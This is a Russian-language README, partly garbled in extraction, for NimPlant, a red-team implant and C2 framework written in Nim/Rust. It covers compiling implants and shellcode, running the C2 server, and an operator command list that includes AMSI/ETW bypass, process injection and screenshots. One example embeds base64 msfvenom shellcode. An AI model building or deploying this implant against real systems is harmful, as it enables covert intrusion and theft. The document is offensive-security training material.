
Легковесный имплант первого этапа C2, написанный на Nim (и Rust).
Автор: Кас ван Кутен (@chvancooten), с особыми благодарностями некоторым замечательным людям:
Кадир Ямамото (@yamakadi), Фуркан Гёксель (@frkngksl), Фабиан Мош (@S3cur3Th1sSh1t), Рафаэль Феликс (@b1scoito), Гийом Кайе (@OffenseTeacher) и многие другие!
Если NimPlant оказался вам полезен и/или вам нравится моя работа в целом, ваша поддержка приветствуется:
inline-execute, shinject (с использованием динамического вызова), powershell в кастомном ранспейсе или execute-assembly внутри потокаДля запуска Nimplant требуется современная версия Python3.
requirements.txt из папки сервера (pip3 install -r server/requirements.txt).choosenim, так как apt не всегда содержит последнюю версию).cd client; nimble install -d).mingw для вашей платформы (brew install mingw-w64 или apt install mingw-w64).rustup).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml в соответствии с Cargo.toml и используйте ночную сборочную цепочку (rustup default nightly).Примечание: Даже при компиляции в Windows рекомендуется использовать target
x86_64-pc-windows-gnu. Это приводит к немного большим бинарникам, но кажется более стабильным, когда из результирующей DLL генерируется шелл-код. Вы можете изменитьrust-toolchain.toml, чтобы изменить target наx86_64-pc-windows-msvc, но сгенерированный шелл-код может работать некорректно во всех случаях.
Перед использованием NimPlant создайте файл конфигурации config.toml. Рекомендуется скопировать config.toml.example и работать от него.
Ниже приведён обзор настроек.
Когда конфигурация вас устраивает, вы можете сгенерировать бинарники NimPlant для развертывания на цели. В настоящее время NimPlant поддерживает бинарники .exe, .dll и .bin для (самоуничтожающихся) исполняемых файлов, библиотек и позиционно-независимого шелл-кода (через sRDI) соответственно. Для генерации выполните python nimplant.py compile, затем укажите предпочитаемые бинарники (exe, exe-selfdelete, dll, raw или all) и, опционально, тип импланта (nim, rust, nim-debug или rust-debug — по умолчанию будет скомпилирован Nim). Файлы будут записаны в client/bin/ или соответственно.
Вы можете передать аргумент rotatekey, чтобы сгенерировать и использовать новый XOR-ключ во время компиляции.
Примечания:
NimPlant в настоящее время поддерживает только x64!
Точка входа для DLL-файлов — Update, которая вызывается DllMain для всех точек входа. Это означает, что вы можете использовать, например, rundll32 .\NimPlant.dll,Update для запуска, или использовать ваш любимый LOLBIN для боковой загрузки (может потребоваться модификация в client/NimPlant.nim или client-rs/src/lib.rs).```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### Компиляция с помощью Docker
Использовать Docker просто и позволяет избежать проблем с зависимостями, так как все необходимые зависимости для сборки и выполнения уже предустановлены в контейнере.
Чтобы использовать Docker, вы можете воспользоваться публичным контейнером `chvancooten/nimplant` из [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (созданным через CI/CD), или собрать `Dockerfile` из исходников.
> Чтобы собрать из исходников, выполните следующее из корневой директории:
>
> ```bash
> docker build . -t nimplant
> ```
Это создаст контейнер с тегом `nimplant:latest`. Примечание: это может занять некоторое время и создать большой контейнер из-за зависимостей разработки!
После этого вы можете запустить контейнер из командной строки для компиляции ваших артефактов.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
Примечание: Это пример команды; убедитесь, что вы настроили аргументы, такие как смонтированные тома, под вашу ситуацию.
Как только ваши бинарные файлы готовы, вы можете запустить свой сервер NimPlant! Если вы компилировали локально, дополнительная настройка не требуется, так как он читает тот же файл config.toml. Чтобы запустить сервер, просто выполните python nimplant.py server (с правами sudo, если работаете в Linux). Вы можете использовать консоль после того, как Nimplant выполнит проверку, или получить доступ к веб-интерфейсу по адресу http://localhost:31337 (по умолчанию).
Примечания:
Если вы запускаете сервер NimPlant вне машины, на которой компилировались бинарные файлы, убедитесь, что config.toml и .xorkey совпадают. В противном случае NimPlant не сможет подключиться.
Веб-интерфейс и API не поддерживают аутентификацию, поэтому НЕ открывайте порт интерфейса для ненадёжных сетей без защищённого обратного прокси!
Если NimPlant не может подключиться к серверу или теряет соединение, он повторит попытку 5 раз с экспоненциальной задержкой перед повторной регистрацией. Если ему не удастся зарегистрироваться ещё 5 раз (та же логика задержки), он завершит себя. Задержка утраивает время ожидания при каждой неудачной попытке. Например, если время ожидания составляет 10 секунд, он будет ждать 10, затем 30 (3^1 * 10), затем 90 (3^2 * 10), затем 270 (3^3 * 10), затем 810 секунд, прежде чем сдастся (эти параметры жёстко заданы, но могут быть изменены в client/NimPlant.nim).
Журналы хранятся в каталоге server/logs. Каждый экземпляр сервера создаёт новую папку журналов, а сами журналы разделяются по сессиям консоли/Nimplant. Загруженные и скачанные файлы (включая файлы, загруженные через веб-интерфейс) хранятся в каталогах server/uploads и server/downloads соответственно.
Данные Nimplant и сервера хранятся в базе данных SQLite по пути server/nimplant.db. Эти данные также используются для восстановления Nimplant'ов после перезапуска сервера.
Журналы, загруженные/скачанные файлы и базу данных можно очистить, запустив nimplant.py с флагом . Внимание: это удалит всё, так что обязательно сделайте резервную копию того, что вам нужно!```
PS C:\NimPlant> python .\nimplant.py server
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
Это запустит как API C2 и веб-сервер управления (в примере выше по адресу `http://127.0.0.1:31337`), так и слушатель NimPlant (в примере выше по адресу `https://0.0.0.0:443`). Когда NimPlant установит соединение, вы сможете использовать как веб-интерфейс, так и консоль для отправки команд NimPlant.
### Запуск сервера с Docker
Тот же контейнер `chvancooten/nimplant`, который используется для компиляции, можно использовать и для запуска сервера NimPlant. Чтобы NimPlant распознал сервер, файлы `config.toml` и `.xorkey` должны соответствовать машине, на которой был скомпилирован NimPlant (это автоматически выполняется, если вы использовали тот же Docker-контейнер для компиляции). Кроме того, файл `config.toml` должен быть правильно настроен для Docker, в частности, IP-адрес сервера управления должен быть установлен на `0.0.0.0`, чтобы быть доступным через Docker (убедитесь, что вы открываете его только на локальном интерфейсе вашего хоста).
Вы можете запустить сервер NimPlant с помощью следующей примерной команды:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
Примечание: Это пример команды, убедитесь, что вы настроили аргументы, такие как монтируемые тома, в соответствии с вашей ситуацией.
Использование Docker позволяет легко настраивать более сложные конфигурации. В качестве примера в каталоге docker-example находится файл docker-compose.yml, который показывает, как выставить NimPlant за Nginx редиректором с использованием HTTPS и фиктивной целевой страницей.
Доступны следующие команды. Вы можете получить подробную справку по любой команде, набрав help [command]. Некоторые команды, помеченные как (GUI), можно настроить графически при использовании веб-интерфейса, для этого вызовите команду без аргументов.```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### Использование Beacon Object Files (BOF)
**ПРИМЕЧАНИЕ: BOF по своей природе нестабильны, и запуск ошибочного BOF или передача неправильных аргументов/типов может привести к сбою вашего сеанса NimPlant! Обязательно тестируйте BOF перед развертыванием!**
NimPlant поддерживает загрузку BOF в память благодаря отличным проектам [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) и [Coffee](https://github.com/hakaioffsec/coffee) (Rust). Для запуска BOF требуется локально скомпилированный объектный файл BOF (обычно с именем вида `bofname.x64.o`), точка входа (обычно `go`) и список аргументов с указанием их типов. Аргументы передаются как разделенная пробелами пара `аргумент тип_аргумента`.
Аргументы передаются в соответствии с форматом «Zzsib», поэтому могут быть: `string` (псевдоним: `z`), `wstring` (или `Z`), `integer` (псевдонимы: `int` или `i`), `short` (`s`) или `binary` (`bin` или `b`). Двоичные аргументы могут быть переданы как необработанная двоичная строка или в кодировке base64; последнее рекомендуется во избежание недопустимых символов.
Ниже приведены некоторые примеры использования (на примере великолепных BOF от TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)]). Обратите внимание, что `inline-execute` (без аргументов) можно использовать для графической настройки команды в GUI.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
По умолчанию NimPlant поддерживает push-уведомления через хук notify_user(), определенный в server/util/notify.py. По умолчанию реализовано простое Telegram-уведомление, для которого необходимо установить переменные окружения TELEGRAM_CHAT_ID и TELEGRAM_BOT_TOKEN перед запуском. Конечно, код можно легко расширить собственной функциональностью push-уведомлений. Хук notify_user() вызывается при новой регистрации NimPlant и получает объект с деталями NimPlant, которые затем можно отправить по желанию.
Обычному пользователю не нужно изменять или пересобирать интерфейс, поставляемый с Nimplant. Однако, если вы хотите внести изменения, установите NodeJS и выполните npm install, находясь в каталоге ui. Затем запустите ui/build-ui.py. Это займется загрузкой пакетов, компиляцией Next.JS фронтенда и размещением файлов в нужном месте для использования сервером Nimplant.
NimPlant был разработан как учебный проект и опубликован для прозрачности и образовательных целей. Обход антивирусов или EDR не является целью для готовых имплантов. По большей части NimPlant не пытается скрыть свои намерения. Кроме того, были приняты меры защиты для предотвращения злоупотреблений. Другими словами, НЕ ИСПОЛЬЗУЙТЕ NimPlant в производственных средах без тщательного анализа исходного кода и модификаций! Также помните, что, как и в любой C2-структуре, при развертывании следует учитывать OPSEC-отпечаток выполнения определенных команд. NimPlant можно скомпилировать без рискованных с точки зрения OPSEC команд, установив riskyMode в false в config.toml.
Существует множество причин, по которым Nimplant может не собраться или не запуститься. Если вы столкнулись с проблемами, попробуйте следующее (по порядку):
server/logs на наличие ошибок.nim-debug или rust-debug, чтобы скомпилировать с консолью и отладочными сообщениями (только .exe) и увидеть, возвращаются ли сообщения об ошибках.| Категория | Настройка | Описание |
|---|
| server | ip | IP-адрес, на котором будет слушать веб-сервер C2 (включая API). Рекомендуется использовать 127.0.0.1, используйте 0.0.0.0 только при наличии соответствующих правил брандмауэра или маршрутизации для защиты C2. |
| server | port | Порт, на котором будет слушать веб-сервер C2 (включая API). |
| listener | type | Тип слушателя: HTTP или HTTPS. Параметры HTTPS настраиваются ниже. |
| listener | sslCertPath | Локальный путь к файлу SSL-сертификата (например, запрошенного через LetsEncrypt CertBot или самоподписанного). Игнорируется, если тип слушателя 'HTTP'. |
| listener | sslKeyPath | Локальный путь к соответствующему файлу закрытого ключа SSL-сертификата. При запуске сервера NimPlant будет запрошен пароль, если он установлен. Игнорируется, если тип слушателя 'HTTP'. |
| listener | hostname | Имя хоста слушателя. Если не пусто (""), NimPlant будет использовать это имя хоста для подключения. Убедитесь, что трафик с этого хоста правильно маршрутизируется на порт слушателя NimPlant. |
| listener | ip | IP-адрес слушателя. Обязателен, даже если указан 'hostname', так как используется сервером для регистрации на этом IP. |
| listener | port | Порт слушателя. Обязателен, даже если указан 'hostname', так как используется сервером для регистрации на этом порту. |
| listener | registerPath | Путь URI, по которому новые NimPlants будут регистрироваться. |
| listener | taskPath | Путь URI, по которому NimPlants будут получать задачи. |
| listener | resultPath | Путь URI, по которому NimPlants будут отправлять результаты. |
| nimplant | riskyMode | Скомпилировать NimPlant с поддержкой рискованных команд. Ответственность оператора. Отключение удалит поддержку execute-assembly, powershell, shell и shinject. |
| nimplant | sleepMask | Использовать ли маску сна Ekko вместо обычных вызовов сна для NimPlant. Пока работает только с обычными исполняемыми файлами! |
| nimplant | sleepTime | Время сна по умолчанию в секундах для новых NimPlant. |
| nimplant | sleepJitter | Джиттер по умолчанию в процентах для новых NimPlant. |
| nimplant | killDate | Дата завершения для NimPlant (формат: гггг-ММ-дд). NimPlants завершится, если эта дата прошла. |
| nimplant | userAgent | User-agent, используемый NimPlant. Сервер также использует его для проверки трафика NimPlant, поэтому рекомендуется выбирать UA, который не бросается в глаза, но и не слишком распространён. |
client-rs/bin/cleanup * *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)